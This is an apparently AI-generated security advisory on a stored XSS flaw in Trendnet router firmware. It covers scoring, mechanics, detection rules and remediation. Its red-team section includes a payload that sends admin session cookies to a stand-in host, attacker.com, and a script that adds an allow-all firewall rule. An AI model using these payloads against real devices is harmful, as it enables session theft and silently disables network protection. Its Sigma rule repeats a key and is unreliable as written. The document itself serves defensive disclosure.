CVE-2024-51187

Executive Summary

CVE-2024-51187 identifies a stored cross-site scripting (XSS) vulnerability in multiple Trendnet router models: TEW-651BR (firmware 2.04B1), TEW-652BRP (firmware 3.04b01), and TEW-652BRU (firmware 1.00b12). The flaw resides in the /firewall_setting.htm page, specifically within the firewallRule_Name_1.1.1.0.0 parameter. An authenticated attacker can inject malicious scripts that are stored on the device and executed in the context of other administrators' browsers when they view the firewall settings page. This can lead to session hijacking, credential theft, or further compromise of the local network. No official patch has been released by Trendnet, and the vulnerability is publicly known with proof-of-concept details available.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the vulnerability characteristics, a more realistic assessment is:

• Attack Vector (AV): Network (N) – the attacker can reach the web interface over the network.
• Attack Complexity (AC): Low (L) – no special conditions are required.
• Privileges Required (PR): Low (L) – the attacker must have valid admin credentials.
• User Interaction (UI): None (N) – the stored script executes automatically when the page is viewed.
• Scope (S): Changed (C) – the vulnerability impacts the browser of the admin, not just the router.
• Confidentiality (C): High (H) – potential for credential theft and session hijacking.
• Integrity (I): High (H) – attacker can modify firewall rules or inject further payloads.
• Availability (A): Low (L) – could cause denial of service via script errors.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L
Estimated Score: 8.6 (High)

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (CWE-79) in the router's web-based administration interface. The firewallRule_Name_1.1.1.0.0 parameter on the /firewall_setting.htm page does not sanitize or encode user input before storing it in the device's configuration database. When an administrator later views the firewall settings page, the stored value is rendered in the HTML without proper escaping, allowing arbitrary JavaScript execution.

Attack Flow:

1. An attacker gains administrative access to the router (default credentials, brute force, or other means).
2. The attacker navigates to /firewall_setting.htm and sets the firewallRule_Name_1.1.1.0.0 parameter to a malicious payload, e.g., <script>alert('XSS')</script>.
3. The router stores this value.
4. When another administrator (or the same attacker later) views the firewall settings page, the script executes in their browser.
5. The attacker can use this to steal session cookies, capture keystrokes, or redirect to a phishing page.

The vulnerability is particularly dangerous because it targets the router's admin interface, which often has elevated trust and access to internal network resources.

Vulnerable vs. Patched Code

No patched firmware has been released by Trendnet. The vulnerable code likely resembles:

// Vulnerable pseudo-code
function saveFirewallRule() {
    var ruleName = document.getElementById("firewallRule_Name_1.1.1.0.0").value;
    // Directly stored without sanitization
    saveToConfig("firewallRule_Name_1.1.1.0.0", ruleName);
}

function displayFirewallRules() {
    var ruleName = getFromConfig("firewallRule_Name_1.1.1.0.0");
    // Directly inserted into HTML without encoding
    document.getElementById("ruleDisplay").innerHTML = ruleName;
}

A patched version would sanitize input and encode output:

// Patched pseudo-code
function saveFirewallRule() {
    var ruleName = document.getElementById("firewallRule_Name_1.1.1.0.0").value;
    // Sanitize input - strip HTML tags
    ruleName = sanitizeInput(ruleName);
    saveToConfig("firewallRule_Name_1.1.1.0.0", ruleName);
}

function displayFirewallRules() {
    var ruleName = getFromConfig("firewallRule_Name_1.1.1.0.0");
    // Encode output for HTML context
    document.getElementById("ruleDisplay").textContent = ruleName;
}

Exploitation & Lab Setup

Red Team

Lab Setup:

• Obtain a Trendnet TEW-651BR, TEW-652BRP, or TEW-652BRU device.
• Flash the vulnerable firmware version.
• Connect the router to a test network with a client machine.

Exploitation Steps:

1. Log in to the router's web interface as an administrator.
2. Navigate to http://<router-ip>/firewall_setting.htm.
3. Locate the firewallRule_Name_1.1.1.0.0 input field.
4. Inject a payload such as:

   <script>new Image().src='http://attacker.com/steal?cookie='+document.cookie;</script>
   

5. Save the firewall rule.
6. When another admin views the page, the script executes and exfiltrates the session cookie to the attacker's server.

Advanced Payload:

<script>
fetch('/apply_sec.cgi', {
    method: 'POST',
    headers: {'Content-Type': 'application/x-www-form-urlencoded'},
    body: 'submit_button=Security&change_action=gozila_cgi&submit_type=add_rule&firewallRule_Name_1.1.1.0.0=NewRule&firewallRule_Action_1.1.1.0.0=ACCEPT&firewallRule_Proto_1.1.1.0.0=TCP&firewallRule_SrcIP_1.1.1.0.0=0.0.0.0&firewallRule_DstIP_1.1.1.0.0=0.0.0.0&firewallRule_SrcPort_1.1.1.0.0=any&firewallRule_DstPort_1.1.1.0.0=any'
});
</script>

This payload creates a new firewall rule allowing all traffic, effectively disabling the firewall.

Blue Team

Detection:

• Monitor for unusual patterns in the firewallRule_Name_1.1.1.0.0 parameter in HTTP POST requests to /firewall_setting.htm.
• Look for <script> tags or JavaScript event handlers in the parameter value.
• Use web application firewalls (WAF) to block XSS payloads.

Mitigation:

• Immediately change all default admin credentials.
• Restrict administrative access to trusted IP addresses only.
• Disable remote management if not required.
• Monitor logs for unauthorized configuration changes.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /firewall_setting.htm containing <script> tags in the firewallRule_Name_1.1.1.0.0 parameter.
  • Outbound connections from the router to unknown IP addresses on port 80/443 (data exfiltration).
• Host (Router):
  • Unusual firewall rule names containing HTML/JavaScript.
  • Modified configuration files with script content.
• Logs:
  • Repeated admin logins from different IPs.
  • Changes to firewall rules without corresponding admin action.

Detection Engineering

YARA Rule

rule CVE_2024_51187_Stored_XSS_Trendnet {
    meta:
        description = "Detects stored XSS payload in Trendnet router firewall rule name"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-51187"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $firewall_param = "firewallRule_Name_1.1.1.0.0"
    condition:
        $firewall_param and $xss_payload
}

Sigma Rule

title: Stored XSS in Trendnet Router Firewall Rule Name
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests containing XSS payloads in the firewallRule_Name_1.1.1.0.0 parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/firewall_setting.htm'
        cs-uri-query|contains: 'firewallRule_Name_1.1.1.0.0'
        cs-uri-query|re: '<script[^>]*>.*<\/script>'
    condition: selection
falsepositives:
    - Legitimate use of script tags in rule names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-51187 Stored XSS in Trendnet Router Firewall Rule Name"; flow:to_server,established; content:"POST"; http_method; content:"/firewall_setting.htm"; http_uri; content:"firewallRule_Name_1.1.1.0.0"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Change Default Credentials: Ensure all admin passwords are strong and unique.
2. Restrict Access: Limit administrative access to trusted IP addresses only.
3. Disable Remote Management: If not required, disable WAN-side access to the admin interface.
4. Monitor Logs: Regularly review router logs for suspicious activity.

Long-Term Fix:

• Vendor Patch: Trendnet has not released a patch. Contact Trendnet support and request a firmware update.
• Workaround: If patching is not possible, consider replacing the device with a more secure model.
• Input Validation: Implement client-side and server-side input validation to strip HTML/JavaScript from rule names.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.